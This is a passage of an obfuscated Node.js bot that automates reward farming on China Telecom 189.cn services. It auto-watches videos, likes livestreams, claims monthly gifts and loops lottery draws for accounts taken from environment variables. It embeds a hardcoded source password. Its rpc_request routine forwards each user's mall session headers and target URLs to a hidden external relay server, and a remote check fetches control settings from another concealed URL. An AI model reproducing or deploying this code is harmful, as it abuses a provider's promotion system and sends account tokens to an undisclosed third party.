1145 |         let _0x57b36e = _0x358ce9?.["msg"] || _0x358ce9?.["resoultMsg"] || _0x358ce9?.["error"] || _0x358ce9?.["msg"] || "";
1146 |         this.log("观看短视频[" + _0x5b78a0 + "]失败[" + _0x13d930 + "]: " + _0x57b36e);
1147 |       }
1148 |     } catch (_0x5400fa) {
1149 |       console.log(_0x5400fa);
1150 |     }
1151 |   }
1152 |   async ["like"](_0x24af05, _0x37e6bb = {}) {
1153 |     try {
1154 |       const _0x4419b8 = {
1155 |           "account": this.name,
1156 |           "liveId": _0x24af05
1157 |         },
1158 |         _0x5e1b1e = {
1159 |           "fn": "like",
1160 |           "method": "post",
1161 |           "url": "https://xbk.189.cn/xbkapi/lteration/room/like",
1162 |           "json": _0x4419b8
1163 |         };
1164 |       let {
1165 |           result: _0x493800,
1166 |           statusCode: _0x21c267
1167 |         } = await this.request(_0x5e1b1e),
1168 |         _0x2ddc71 = _0x49dfef.get(_0x493800, "code", -1);
1169 |       if (_0x2ddc71 == 0) this.log("点赞直播间[" + _0x24af05 + "]成功");else {
1170 |         let _0x1eef7d = _0x493800?.["msg"] || _0x493800?.["resoultMsg"] || _0x493800?.["error"] || _0x493800?.["msg"] || "";
1171 |         this.log("点赞直播间[" + _0x24af05 + "]失败[" + _0x2ddc71 + "]: " + _0x1eef7d);
1172 |       }
1173 |     } catch (_0x5b3a48) {
1174 |       console.log(_0x5b3a48);
1175 |     }
1176 |   }
1177 |   async ["sharingGetGold"](_0x5b88d2 = {}) {
1178 |     try {
1179 |       let _0x5efb18 = {
1180 |           "fn": "sharingGetGold",
1181 |           "method": "post",
1182 |           "url": "https://appfuwu.189.cn:9021/query/sharingGetGold",
1183 |           "json": {
1184 |             "headerInfos": {
1185 |               "code": "sharingGetGold",
1186 |               "timestamp": _0x49dfef.time("yyyyMMddhhmmss"),
1187 |               "broadAccount": "",
1188 |               "broadToken": "",
1189 |               "clientType": "#9.6.1#channel50#iPhone 14 Pro Max#",
1190 |               "shopId": "20002",
1191 |               "source": "110003",
1192 |               "sourcePassword": "Sid98s",
1193 |               "token": this.token,
1194 |               "userLoginName": this.name
1195 |             },
1196 |             "content": {
1197 |               "attach": "test",
1198 |               "fieldData": {
1199 |                 "shareSource": "3",
1200 |                 "userId": this.userId,
1201 |                 "account": this.encode_phone()
1202 |               }
1203 |             }
1204 |           }
1205 |         },
1206 |         {
1207 |           result: _0x3911dc,
1208 |           statusCode: _0x5894d4
1209 |         } = await this.request(_0x5efb18),
1210 |         _0x56e72a = _0x49dfef.get(_0x3911dc?.["responseData"], "resultCode", -1);
1211 |       if (_0x56e72a == "0000") {
1212 |         this.log("分享成功");
1213 |       } else {
1214 |         let _0x1cfb22 = _0x3911dc?.["msg"] || _0x3911dc?.["responseData"]?.["resultDesc"] || _0x3911dc?.["error"] || _0x3911dc?.["msg"] || "";
1215 |         this.log("分享失败[" + _0x56e72a + "]: " + _0x1cfb22);
1216 |       }
1217 |     } catch (_0x57f70b) {
1218 |       console.log(_0x57f70b);
1219 |     }
1220 |   }
1221 |   async ["month_jml_preCost"](_0x21101d = {}) {
1222 |     try {
1223 |       let _0xb8a79a = {
1224 |           "fn": "month_jml_preCost",
1225 |           "method": "post",
1226 |           "url": "https://wapside.189.cn:9001/jt-sign/short/message/preCost",
1227 |           "json": {
1228 |             "phone": this.encode_aes(this.name),
1229 |             "activityCode": "shortMesssge"
1230 |           }
1231 |         },
1232 |         {
1233 |           result: _0x1b00d0,
1234 |           statusCode: _0x13073b
1235 |         } = await this.request(_0xb8a79a),
1236 |         _0x2d7a53 = _0x49dfef.get(_0x1b00d0, "resoultCode", _0x13073b);
1237 |       if (_0x2d7a53 == 0) {
1238 |         let _0x3be2d8 = _0x1b00d0?.["data"]?.["resoultMsg"] || "领取成功";
1239 |         this.jml_tokenFlag = _0x1b00d0?.["resoultMsg"];
1240 |         await this.month_jml_userCost(_0x3be2d8);
1241 |         await this.month_jml_receive();
1242 |         await this.month_jml_getCount();
1243 |         await this.month_jml_refresh();
1244 |       } else {
1245 |         let _0x34c304 = _0x1b00d0?.["msg"] || _0x1b00d0?.["resoultMsg"] || _0x1b00d0?.["error"] || "";
1246 |         this.log("每月见面礼登录失败[" + _0x2d7a53 + "]: " + _0x34c304);
1247 |       }
1248 |     } catch (_0x1b3d4d) {
1249 |       console.log(_0x1b3d4d);
1250 |     }
1251 |   }
1252 |   async ["month_jml_userCost"](_0x59f0bf, _0x2f9995 = {}) {
1253 |     try {
1254 |       let _0x4ca9e8 = {
1255 |           "fn": "month_jml_userCost",
1256 |           "method": "post",
1257 |           "url": "https://wapside.189.cn:9001/jt-sign/short/message/userCost",
1258 |           "json": {
1259 |             "phone": this.encode_aes(this.name),
1260 |             "activityCode": "shortMesssge",
1261 |             "flag": this.jml_tokenFlag
1262 |           }
1263 |         },
1264 |         {
1265 |           result: _0x3cae5c,
1266 |           statusCode: _0x334c8f
1267 |         } = await this.request(_0x4ca9e8),
1268 |         _0x2cfba7 = _0x49dfef.get(_0x3cae5c, "resoultCode", _0x334c8f);
1269 |       if (_0x2cfba7 == 0) {
1270 |         let _0x5e2568 = _0x3cae5c?.["data"]?.["map"](_0x37bca0 => "[" + _0x37bca0.pizeName + "]") || [];
1271 |         this.log("见面礼" + _0x59f0bf + ": " + _0x5e2568.join(", "));
1272 |       } else {
1273 |         let _0x1303e7 = _0x3cae5c?.["msg"] || _0x3cae5c?.["resoultMsg"] || _0x3cae5c?.["error"] || "";
1274 |         this.log("领取每月见面礼失败[" + _0x2cfba7 + "]: " + _0x1303e7);
1275 |       }
1276 |     } catch (_0x4eb69a) {
1277 |       console.log(_0x4eb69a);
1278 |     }
1279 |   }
1280 |   async ["month_jml_receive"](_0x1fe02e = {}) {
1281 |     try {
1282 |       const _0x36d622 = {
1283 |         "phone": this.name,
1284 |         "flag": this.jml_tokenFlag
1285 |       };
1286 |       let _0x88d2e0 = {
1287 |           "fn": "month_jml_receive",
1288 |           "method": "post",
1289 |           "url": "https://wapside.189.cn:9001/jt-sign/lottery/receive",
1290 |           "json": {
1291 |             "para": this.encrypt_para(_0x36d622)
1292 |           }
1293 |         },
1294 |         {
1295 |           result: _0x4fae3b,
1296 |           statusCode: _0xb82bff
1297 |         } = await this.request(_0x88d2e0),
1298 |         _0x1cee42 = _0x49dfef.get(_0x4fae3b, "code", -1);
1299 |       if (_0x1cee42 == 0) {
1300 |         this.log("领取APP抽奖次数成功");
1301 |       } else {
1302 |         let _0x54358e = _0x4fae3b?.["msg"] || _0x4fae3b?.["resoultMsg"] || _0x4fae3b?.["error"] || "";
1303 |         this.log("领取APP抽奖次数失败[" + _0x1cee42 + "]: " + _0x54358e);
1304 |       }
1305 |     } catch (_0x4c334f) {
1306 |       console.log(_0x4c334f);
1307 |     }
1308 |   }
1309 |   async ["month_jml_getCount"](_0x27f558 = {}) {
1310 |     try {
1311 |       const _0x34c369 = {
1312 |         "phone": this.name,
1313 |         "flag": this.jml_tokenFlag
1314 |       };
1315 |       let _0x5e4bbc = {
1316 |           "fn": "month_jml_getCount",
1317 |           "method": "post",
1318 |           "url": "https://wapside.189.cn:9001/jt-sign/lottery/getCount",
1319 |           "json": {
1320 |             "para": this.encrypt_para(_0x34c369)
1321 |           }
1322 |         },
1323 |         {
1324 |           result: _0xe0e8f,
1325 |           statusCode: _0xad206a
1326 |         } = await this.request(_0x5e4bbc),
1327 |         _0x4c6abd = _0x49dfef.get(_0xe0e8f, "code", -1);
1328 |       if (_0x4c6abd == 0) {
1329 |         let _0x50379e = _0xe0e8f?.["video"]?.["map"](_0x58c3db => _0x58c3db.videoType) || [],
1330 |           _0x44c075 = _0x131d2d.filter(_0x26acb3 => !_0x50379e.includes(_0x26acb3)),
1331 |           _0x1b9205 = false;
1332 |         for (let _0x296e2f of _0x44c075) {
1333 |           if (_0x1b9205) {
1334 |             let _0x207ec8 = Math.floor(Math.random() * 5000) + 3000;
1335 |             await _0x49dfef.wait(_0x207ec8);
1336 |           }
1337 |           await this.month_jml_addVideoCount(_0x296e2f);
1338 |           _0x1b9205 = true;
1339 |         }
1340 |       } else {
1341 |         let _0x339250 = _0xe0e8f?.["msg"] || _0xe0e8f?.["resoultMsg"] || _0xe0e8f?.["error"] || "";
1342 |         this.log("查询看视频得抽奖机会次数失败[" + _0x4c6abd + "]: " + _0x339250);
1343 |       }
1344 |     } catch (_0x429f08) {
1345 |       console.log(_0x429f08);
1346 |     }
1347 |   }
1348 |   async ["month_jml_addVideoCount"](_0x2dbf41, _0x50f9ff = {}) {
1349 |     try {
1350 |       const _0x14d272 = {
1351 |         "phone": this.name,
1352 |         "videoType": _0x2dbf41,
1353 |         "flag": this.jml_tokenFlag
1354 |       };
1355 |       let _0x48ffb2 = {
1356 |           "fn": "month_jml_addVideoCount",
1357 |           "method": "post",
1358 |           "url": "https://wapside.189.cn:9001/jt-sign/lottery/addVideoCount",
1359 |           "json": {
1360 |             "para": this.encrypt_para(_0x14d272)
1361 |           }
1362 |         },
1363 |         {
1364 |           result: _0xd70cc8,
1365 |           statusCode: _0x362431
1366 |         } = await this.request(_0x48ffb2),
1367 |         _0x10cd4b = _0x49dfef.get(_0xd70cc8, "code", -1);
1368 |       if (_0x10cd4b == 0) {
1369 |         this.log("看视频[" + _0x2dbf41 + "]得抽奖机会成功");
1370 |       } else {
1371 |         let _0x201f3c = _0xd70cc8?.["msg"] || _0xd70cc8?.["resoultMsg"] || _0xd70cc8?.["error"] || "";
1372 |         this.log("看视频[" + _0x2dbf41 + "]得抽奖机会失败[" + _0x10cd4b + "]: " + _0x201f3c);
1373 |       }
1374 |     } catch (_0x1a85d3) {
1375 |       console.log(_0x1a85d3);
1376 |     }
1377 |   }
1378 |   async ["month_jml_refresh"](_0xa658a6 = {}) {
1379 |     try {
1380 |       const _0x459312 = {
1381 |         "phone": this.name,
1382 |         "flag": this.jml_tokenFlag
1383 |       };
1384 |       let _0x115aa8 = {
1385 |           "fn": "month_jml_refresh",
1386 |           "method": "post",
1387 |           "url": "https://wapside.189.cn:9001/jt-sign/lottery/refresh",
1388 |           "json": {
1389 |             "para": this.encrypt_para(_0x459312)
1390 |           }
1391 |         },
1392 |         {
1393 |           result: _0x58905d,
1394 |           statusCode: _0x3bcd41
1395 |         } = await this.request(_0x115aa8),
1396 |         _0x18811b = _0x49dfef.get(_0x58905d, "code", -1);
1397 |       if (_0x18811b == -1) {
1398 |         let _0x5aa123 = _0x58905d?.["rNumber"] || 0;
1399 |         this.log("可以抽奖" + _0x5aa123 + "次");
1400 |         let _0xbde451 = false;
1401 |         while (_0x5aa123-- > 0) {
1402 |           if (_0xbde451) {
1403 |             let _0x2f5373 = Math.floor(Math.random() * 5000) + 3000;
1404 |             await _0x49dfef.wait(_0x2f5373);
1405 |           }
1406 |           await this.month_jml_lotteryRevice();
1407 |           _0xbde451 = true;
1408 |         }
1409 |       } else {
1410 |         let _0x45301f = _0x58905d?.["msg"] || _0x58905d?.["resoultMsg"] || _0x58905d?.["error"] || "";
1411 |         this.log("查询抽奖次数失败[" + _0x18811b + "]: " + _0x45301f);
1412 |       }
1413 |     } catch (_0x120aad) {
1414 |       console.log(_0x120aad);
1415 |     }
1416 |   }
1417 |   async ["month_jml_lotteryRevice"](_0x498793 = {}) {
1418 |     try {
1419 |       const _0x2b7e54 = {
1420 |         "phone": this.name,
1421 |         "flag": this.jml_tokenFlag
1422 |       };
1423 |       let _0x3ca896 = {
1424 |           "fn": "month_jml_lotteryRevice",
1425 |           "method": "post",
1426 |           "url": "https://wapside.189.cn:9001/jt-sign/lottery/lotteryRevice",
1427 |           "json": {
1428 |             "para": this.encrypt_para(_0x2b7e54)
1429 |           }
1430 |         },
1431 |         {
1432 |           result: _0x17e63d,
1433 |           statusCode: _0x47228a
1434 |         } = await this.request(_0x3ca896),
1435 |         _0x1292b5 = _0x49dfef.get(_0x17e63d, "code", -1);
1436 |       if (_0x1292b5 == 0) {
1437 |         let {
1438 |           rname: _0x3d7d54,
1439 |           id: _0x2b3b0f
1440 |         } = _0x17e63d;
1441 |         const _0x2cd200 = {
1442 |           "notify": true
1443 |         };
1444 |         this.log("每月见面礼抽奖: " + _0x3d7d54, _0x2cd200);
1445 |       } else {
1446 |         let _0x4e7de6 = _0x17e63d?.["msg"] || _0x17e63d?.["resoultMsg"] || _0x17e63d?.["error"] || "";
1447 |         this.log("每月见面礼抽奖失败[" + _0x1292b5 + "]: " + _0x4e7de6);
1448 |       }
1449 |     } catch (_0x355689) {
1450 |       console.log(_0x355689);
1451 |     }
1452 |   }
1453 |   async ["rpc_request"](_0x55b8f9, _0x4b0e9c = "get", _0x2b5ff1 = null) {
1454 |     const _0x2e4617 = new Error(),
1455 |       _0x1b1e2d = _0x2e4617.stack,
1456 |       _0x1eb1c3 = _0x1b1e2d.split("\n"),
1457 |       _0x35b07b = _0x1eb1c3?.[2]?.["match"](/UserClass\.(\w+)/)?.[1] || "rpc";
1458 |     let _0x190868 = {
1459 |       "fn": _0x35b07b,
1460 |       "method": "post",
1461 |       "url": _0x16d3ea,
1462 |       "json": {
1463 |         "key": _0x344953,
1464 |         "method": _0x4b0e9c,
1465 |         "url": _0x55b8f9.toString(),
1466 |         "headers": this.get_mall_headers(),
1467 |         "data": JSON.stringify(_0x2b5ff1)
1468 |       }
1469 |     };
1470 |     return await this.request(_0x190868);
1471 |   }
1472 |   async ["auth_login"](_0x1fed7f = {}) {
1473 |     let _0xafb0c3 = false;
1474 |     try {
1475 |       let _0x1b2d26 = this.ticket,
1476 |         _0x2bff70 = new URL("https://wapact.189.cn:9001/unified/user/login"),
1477 |         _0x434a75 = {
1478 |           "ticket": _0x1b2d26,
1479 |           "backUrl": encodeURIComponent("https://wapact.189.cn:9001/JinDouMall/JinDouMall_luckDraw.html?ticket=" + _0x1b2d26),
1480 |           "platformCode": "P201010301",
1481 |           "loginType": 2
1482 |         },
1483 |         {
1484 |           result: _0x557820,
1485 |           statusCode: _0x57323f
1486 |         } = await this.rpc_request(_0x2bff70, "POST", _0x434a75),
1487 |         _0x5330c5 = _0x49dfef.get(_0x557820, "code", _0x57323f);
1488 |       if (_0x5330c5 == 0) {
1489 |         let {
1490 |           token: _0x476882,
1491 |           sessionId: _0x17ce63
1492 |         } = _0x557820?.["biz"];
1493 |         this.mall_token = _0x476882;
1494 |         _0xafb0c3 = true;
1495 |       } else {
1496 |         let _0x1c5e02 = _0x49dfef.get(_0x557820, "message", "");
1497 |         this.log("商城登录失败[" + _0x5330c5 + "]: " + _0x1c5e02);
1498 |       }
1499 |     } catch (_0x26e08c) {
1500 |       console.log(_0x26e08c);
1501 |     } finally {
1502 |       return _0xafb0c3;
1503 |     }
1504 |   }
1505 |   async ["queryInfo"](_0x5b2776 = {}) {
1506 |     try {
1507 |       let _0x1b75d6 = new URL("https://wapact.189.cn:9001/gateway/golden/api/queryInfo");
1508 |       _0x1b75d6.searchParams.append("_", Date.now().toString());
1509 |       let {
1510 |           result: _0x216d65,
1511 |           statusCode: _0x12037e
1512 |         } = await this.rpc_request(_0x1b75d6),
1513 |         _0x40fdcc = _0x49dfef.get(_0x216d65, "code", _0x12037e);
1514 |       if (_0x40fdcc == 0) this.coin = _0x216d65?.["biz"]?.["amountTotal"] || this.coin, await this.queryTurnTable();else {
1515 |         let _0x1ea57d = _0x49dfef.get(_0x216d65, "message", "");
1516 |         this.log("查询商城状态失败[" + _0x40fdcc + "]: " + _0x1ea57d);
1517 |       }
1518 |     } catch (_0x1b8d51) {
1519 |       console.log(_0x1b8d51);
1520 |     }
1521 |   }
1522 |   async ["queryTurnTable"](_0x50146b = {}) {
1523 |     try {
1524 |       let _0x720fcb = new URL("https://wapact.189.cn:9001/gateway/golden/api/queryTurnTable");
1525 |       _0x720fcb.searchParams.append("userType", "1");
1526 |       _0x720fcb.searchParams.append("_", Date.now().toString());
1527 |       let {
1528 |           result: _0x1cb020,
1529 |           statusCode: _0x927ab0
1530 |         } = await this.rpc_request(_0x720fcb),
1531 |         _0x229fb9 = _0x49dfef.get(_0x1cb020, "code", _0x927ab0);
1532 |       if (_0x229fb9 == 0) {
1533 |         let _0x1d2636 = _0x1cb020?.["biz"]?.["xiaoHaoCount"] || 20,
1534 |           _0x35f0bf = _0x1cb020?.["biz"]?.["wzTurntable"]?.["code"] || "";
1535 |         _0x35f0bf ? await this.lottery_check(_0x35f0bf, _0x1d2636) : this.log("没有获取到转盘抽奖ID");
1536 |       } else {
1537 |         let _0x2eff62 = _0x49dfef.get(_0x1cb020, "message", "");
1538 |         this.log("获取转盘抽奖活动失败[" + _0x229fb9 + "]: " + _0x2eff62);
1539 |       }
1540 |     } catch (_0x28d0fc) {
1541 |       console.log(_0x28d0fc);
1542 |     }
1543 |   }
1544 |   async ["lottery_check"](_0xa07018, _0x2e3b05, _0xcb5cc3 = {}) {
1545 |     try {
1546 |       let _0x14c381 = new URL("https://wapact.189.cn:9001/gateway/stand/detail/check");
1547 |       _0x14c381.searchParams.append("activityId", _0xa07018);
1548 |       _0x14c381.searchParams.append("_", Date.now().toString());
1549 |       let {
1550 |           result: _0x550887,
1551 |           statusCode: _0x3d5554
1552 |         } = await this.rpc_request(_0x14c381),
1553 |         _0x345ab0 = _0x49dfef.get(_0x550887, "code", _0x3d5554);
1554 |       if (_0x345ab0 == 0) {
1555 |         let _0x565cdb = _0x550887?.["biz"]?.["resultInfo"]?.["chanceCount"] || 0;
1556 |         this.log("转盘可以抽奖" + _0x565cdb + "次, 消耗金豆" + _0x2e3b05 + "/" + this.coin);
1557 |         let _0x41bc66 = false;
1558 |         while (_0x565cdb-- > 0 && this.coin >= _0x2e3b05) {
1559 |           _0x41bc66 && (await _0x49dfef.wait(3000));
1560 |           _0x41bc66 = true;
1561 |           await this.lottery_do(_0xa07018, _0x2e3b05);
1562 |         }
1563 |       } else {
1564 |         let _0x2f37b1 = _0x49dfef.get(_0x550887, "message", "");
1565 |         this.log("查询转盘抽奖次数失败[" + _0x345ab0 + "]: " + _0x2f37b1);
1566 |       }
1567 |     } catch (_0x2d4580) {
1568 |       console.log(_0x2d4580);
1569 |     }
1570 |   }
1571 |   async ["lottery_do"](_0x13b178, _0x33c8a8 = {}) {
1572 |     try {
1573 |       let _0x428f3d = new URL("https://wapact.189.cn:9001/gateway/golden/api/lottery");
1574 |       const _0x11aef8 = {
1575 |         "activityId": _0x13b178
1576 |       };
1577 |       let {
1578 |           result: _0x4584cc,
1579 |           statusCode: _0x239bc9
1580 |         } = await this.rpc_request(_0x428f3d, "POST", _0x11aef8),
1581 |         _0x3f8c97 = _0x49dfef.get(_0x4584cc, "code", _0x239bc9);
1582 |       if (_0x3f8c97 == 0) {
1583 |         this.coin = _0x4584cc?.["biz"]?.["amountTotal"] || this.coin - xiaoHaoCount;
1584 |         let _0x2998b5 = _0x4584cc?.["biz"]?.["resultCode"],
1585 |           _0x57f91f = "";
1586 |         switch (_0x2998b5) {
1587 |           case "0":
1588 |             {
1589 |               let _0x4b2a9e = _0x4584cc?.["biz"]?.["resultInfo"]?.["winTitle"] || "空气";
1590 |               const _0x1c2e0e = {
1591 |                 "notify": true
1592 |               };
1593 |               this.log("转盘抽奖: " + _0x4b2a9e, _0x1c2e0e);
1594 |               return;
1595 |             }
1596 |           case "412":
1597 |             {
1598 |               _0x57f91f = "抽奖次数已达上限";
1599 |               break;
1600 |             }
1601 |           case "413":
1602 |           case "420":
1603 |             {
1604 |               _0x57f91f = "金豆不足";
1605 |               break;
1606 |             }
1607 |           default:
1608 |             {
1609 |               this.log(": " + JSON.stringify(_0x4584cc));
1610 |               _0x57f91f = "未知原因";
1611 |               break;
1612 |             }
1613 |         }
1614 |         this.log("转盘抽奖失败[" + _0x2998b5 + "]: " + _0x57f91f);
1615 |       } else {
1616 |         let _0x307168 = _0x49dfef.get(_0x4584cc, "message", "");
1617 |         this.log("转盘抽奖错误[" + _0x3f8c97 + "]: " + _0x307168);
1618 |       }
1619 |     } catch (_0x298342) {
1620 |       console.log(_0x298342);
1621 |     }
1622 |   }
1623 |   async ["userTask"]() {
1624 |     const _0x415202 = {
1625 |       "notify": true
1626 |     };
1627 |     _0x49dfef.log("\n======= 账号[" + this.index + "][" + this.name + "] =======", _0x415202);
1628 |     if (!this.load_token() && !(await this.login())) {
1629 |       return;
1630 |     }
1631 |     if (!(await this.get_ticket())) return;
1632 |     if (!(await this.get_sign())) return;
1633 |     await this.userCoinInfo();
1634 |     await this.getLevelRightsList();
1635 |     await this.month_jml_preCost();
1636 |     await this.userStatusInfo();
1637 |     await this.continueSignRecords();
1638 |     await this.homepage("hg_qd_zrwzjd");
1639 |     await this.getParadiseInfo();
1640 |     _0x16d3ea && (await this.userLotteryTask());
1641 |     await this.userCoinInfo(true);
1642 |   }
1643 |   async ["userLotteryTask"]() {
1644 |     if (!(await this.auth_login())) return;
1645 |     await this.queryInfo();
1646 |   }
1647 | }
1648 | !(async () => {
1649 |   _0x49dfef.read_env(_0x3f433d);
1650 |   _0xa0ff1b();
1651 |   for (let _0x414b26 of _0x49dfef.userList) {
1652 |     await _0x414b26.userTask();
1653 |   }
1654 | })().catch(_0x854f1e => _0x49dfef.log(_0x854f1e)).finally(() => _0x49dfef.exitNow());
1655 | async function _0x1a2249(_0x505470 = 0) {
1656 |   let _0x3ad891 = false;
1657 |   try {
1658 |     const _0x436527 = {
1659 |       "fn": "auth",
1660 |       "method": "get",
1661 |       "url": _0x100b57,
1662 |       "timeout": 20000
1663 |     };
1664 |     let {
1665 |       statusCode: _0x22aed6,
1666 |       result: _0x383274
1667 |     } = await _0x3b1630.request(_0x436527);
1668 |     if (_0x22aed6 != 200) return _0x505470++ < _0x3c685e && (_0x3ad891 = await _0x1a2249(_0x505470)), _0x3ad891;
1669 |     if (_0x383274?.["code"] == 0) {
1670 |       _0x383274 = JSON.parse(_0x383274.data.file.data);
1671 |       if (_0x383274?.["commonNotify"] && _0x383274.commonNotify.length > 0) {
1672 |         const _0x35029e = {
1673 |           "notify": true
1674 |         };
1675 |         _0x49dfef.log(_0x383274.commonNotify.join("\n") + "\n", _0x35029e);
1676 |       }
1677 |       _0x383274?.["commonMsg"] && _0x383274.commonMsg.length > 0 && _0x49dfef.log(_0x383274.commonMsg.join("\n") + "\n");
1678 |       if (_0x383274[_0x14f289]) {
1679 |         let _0x4cacff = _0x383274[_0x14f289];
1680 |         _0x4cacff.status == 0 ? _0xf4231c >= _0x4cacff.version ? (_0x3ad891 = true, _0x49dfef.log(_0x4cacff.msg[_0x4cacff.status]), _0x49dfef.log(_0x4cacff.updateMsg), _0x49dfef.log("现在运行的脚本版本是：" + _0xf4231c + "，最新脚本版本：" + _0x4cacff.latestVersion)) : _0x49dfef.log(_0x4cacff.versionMsg) : _0x49dfef.log(_0x4cacff.msg[_0x4cacff.status]);
1681 |       } else _0x49dfef.log(_0x383274.errorMsg);
1682 |     } else _0x505470++ < _0x3c685e && (_0x3ad891 = await _0x1a2249(_0x505470));
1683 |   } catch (_0x1a136d) {
1684 |     _0x49dfef.log(_0x1a136d);
1685 |   } finally {
1686 |     return _0x3ad891;
1687 |   }
1688 | }
1689 | function _0x5370a4(_0x1f7db9) {
1690 |   return new class {
1691 |     constructor(_0x1f51b5) {
1692 |       this.name = _0x1f51b5;
1693 |       this.startTime = Date.now();
1694 |       const _0x507166 = {
1695 |         "time": true
1696 |       };
1697 |       this.log("[" + this.name + "]开始运行\n", _0x507166);
1698 |       this.notifyStr = [];
1699 |       this.notifyFlag = true;
1700 |       this.userIdx = 0;
1701 |       this.userList = [];
1702 |       this.userCount = 0;
1703 |       this.default_timestamp_len = 13;
1704 |       this.default_wait_interval = 1000;
1705 |       this.default_wait_limit = 3600000;
1706 |       this.default_wait_ahead = 0;
1707 |     }
1708 |     ["log"](_0x567e36, _0x7b8a3b = {}) {
1709 |       const _0xb3f162 = {
1710 |         "console": true
1711 |       };
1712 |       Object.assign(_0xb3f162, _0x7b8a3b);
1713 |       if (_0xb3f162.time) {
1714 |         let _0x129649 = _0xb3f162.fmt || "hh:mm:ss";
1715 |         _0x567e36 = "[" + this.time(_0x129649) + "]" + _0x567e36;
1716 |       }
1717 |       _0xb3f162.notify && this.notifyStr.push(_0x567e36);
1718 |       _0xb3f162.console && console.log(_0x567e36);
1719 |     }
1720 |     ["get"](_0x312e83, _0x5b2d51, _0x1896f9 = "") {
1721 |       let _0x57eb19 = _0x1896f9;
1722 |       return _0x312e83?.["hasOwnProperty"](_0x5b2d51) && (_0x57eb19 = _0x312e83[_0x5b2d51]), _0x57eb19;
1723 |     }
1724 |     ["pop"](_0x794644, _0x5a5725, _0x13f65e = "") {
1725 |       let _0x70d920 = _0x13f65e;
1726 |       return _0x794644?.["hasOwnProperty"](_0x5a5725) && (_0x70d920 = _0x794644[_0x5a5725], delete _0x794644[_0x5a5725]), _0x70d920;
1727 |     }
1728 |     ["copy"](_0x2acf1b) {
1729 |       return Object.assign({}, _0x2acf1b);
1730 |     }
1731 |     ["read_env"](_0x1830f6) {
1732 |       let _0xe4a559 = _0x4aec53.map(_0x4d5e0e => process.env[_0x4d5e0e]);
1733 |       for (let _0x5d7af5 of _0xe4a559.filter(_0x1ed70f => !!_0x1ed70f)) {
1734 |         for (let _0x118e24 of _0x5d7af5.split(_0x1876a7).filter(_0x2a2463 => !!_0x2a2463)) {
1735 |           if (this.userList.includes(_0x118e24)) continue;
1736 |           this.userList.push(new _0x1830f6(_0x118e24));
1737 |         }
1738 |       }
1739 |       this.userCount = this.userList.length;
1740 |       if (!this.userCount) {
1741 |         const _0x4726f2 = {
1742 |           "notify": true
1743 |         };
1744 |         return this.log("未找到变量，请检查变量" + _0x4aec53.map(_0x327825 => "[" + _0x327825 + "]").join("或"), _0x4726f2), false;
1745 |       }
1746 |       return this.log("共找到" + this.userCount + "个账号"), true;
1747 |     }
1748 |     ["time"](_0x4bbd9b, _0x27948f = null) {
1749 |       let _0x32781a = _0x27948f ? new Date(_0x27948f) : new Date(),
1750 |         _0x1ac37c = {
1751 |           "M+": _0x32781a.getMonth() + 1,
1752 |           "d+": _0x32781a.getDate(),
1753 |           "h+": _0x32781a.getHours(),
1754 |           "m+": _0x32781a.getMinutes(),
1755 |           "s+": _0x32781a.getSeconds(),
1756 |           "q+": Math.floor((_0x32781a.getMonth() + 3) / 3),
1757 |           "S": this.padStr(_0x32781a.getMilliseconds(), 3)
1758 |         };
1759 |       /(y+)/.test(_0x4bbd9b) && (_0x4bbd9b = _0x4bbd9b.replace(RegExp.$1, (_0x32781a.getFullYear() + "").substr(4 - RegExp.$1.length)));
1760 |       for (let _0x2eb56e in _0x1ac37c) new RegExp("(" + _0x2eb56e + ")").test(_0x4bbd9b) && (_0x4bbd9b = _0x4bbd9b.replace(RegExp.$1, 1 == RegExp.$1.length ? _0x1ac37c[_0x2eb56e] : ("00" + _0x1ac37c[_0x2eb56e]).substr(("" + _0x1ac37c[_0x2eb56e]).length)));
1761 |       return _0x4bbd9b;
1762 |     }
1763 |     async ["showmsg"]() {
1764 |       if (!this.notifyFlag) return;
1765 |       if (!this.notifyStr.length) return;
1766 |       var _0x243e42 = require("./sendNotify");
1767 |       this.log("\n============== 推送 ==============");
1768 |       await _0x243e42.sendNotify(this.name, this.notifyStr.join("\n"));
1769 |     }
1770 |     ["padStr"](_0x673339, _0xa81675, _0x2f4e5f = {}) {
1771 |       let _0x80b59e = _0x2f4e5f.padding || "0",
1772 |         _0xf4e49e = _0x2f4e5f.mode || "l",
1773 |         _0x2f4a48 = String(_0x673339),
1774 |         _0x6032bd = _0xa81675 > _0x2f4a48.length ? _0xa81675 - _0x2f4a48.length : 0,
1775 |         _0x37b710 = "";
1776 |       for (let _0x360ad0 = 0; _0x360ad0 < _0x6032bd; _0x360ad0++) {
1777 |         _0x37b710 += _0x80b59e;
1778 |       }
1779 |       return _0xf4e49e == "r" ? _0x2f4a48 = _0x2f4a48 + _0x37b710 : _0x2f4a48 = _0x37b710 + _0x2f4a48, _0x2f4a48;
1780 |     }
1781 |     ["json2str"](_0x539dfb, _0x36ffa7, _0x23f214 = false) {
1782 |       let _0x150241 = [];
1783 |       for (let _0x4584f4 of Object.keys(_0x539dfb).sort()) {
1784 |         let _0x190852 = _0x539dfb[_0x4584f4];
1785 |         if (_0x190852 && _0x23f214) {
1786 |           _0x190852 = encodeURIComponent(_0x190852);
1787 |         }
1788 |         _0x150241.push(_0x4584f4 + "=" + _0x190852);
1789 |       }
1790 |       return _0x150241.join(_0x36ffa7);
1791 |     }
1792 |     ["str2json"](_0x4b5ef6, _0x3c5776 = false) {
1793 |       let _0x30cbdb = {};
1794 |       for (let _0x8c21 of _0x4b5ef6.split("&")) {
1795 |         if (!_0x8c21) continue;
1796 |         let _0x2ca926 = _0x8c21.indexOf("=");
1797 |         if (_0x2ca926 == -1) continue;
1798 |         let _0x2458c5 = _0x8c21.substr(0, _0x2ca926),
1799 |           _0x246ded = _0x8c21.substr(_0x2ca926 + 1);
1800 |         _0x3c5776 && (_0x246ded = decodeURIComponent(_0x246ded));
1801 |         _0x30cbdb[_0x2458c5] = _0x246ded;
1802 |       }
1803 |       return _0x30cbdb;
1804 |     }
1805 |     ["randomPattern"](_0x2b877c, _0xd1024 = "abcdef0123456789") {
1806 |       let _0x133f94 = "";
1807 |       for (let _0x26d557 of _0x2b877c) {
1808 |         _0x26d557 == "x" ? _0x133f94 += _0xd1024.charAt(Math.floor(Math.random() * _0xd1024.length)) : _0x26d557 == "X" ? _0x133f94 += _0xd1024.charAt(Math.floor(Math.random() * _0xd1024.length)).toUpperCase() : _0x133f94 += _0x26d557;
1809 |       }
1810 |       return _0x133f94;
1811 |     }
1812 |     ["randomUuid"]() {
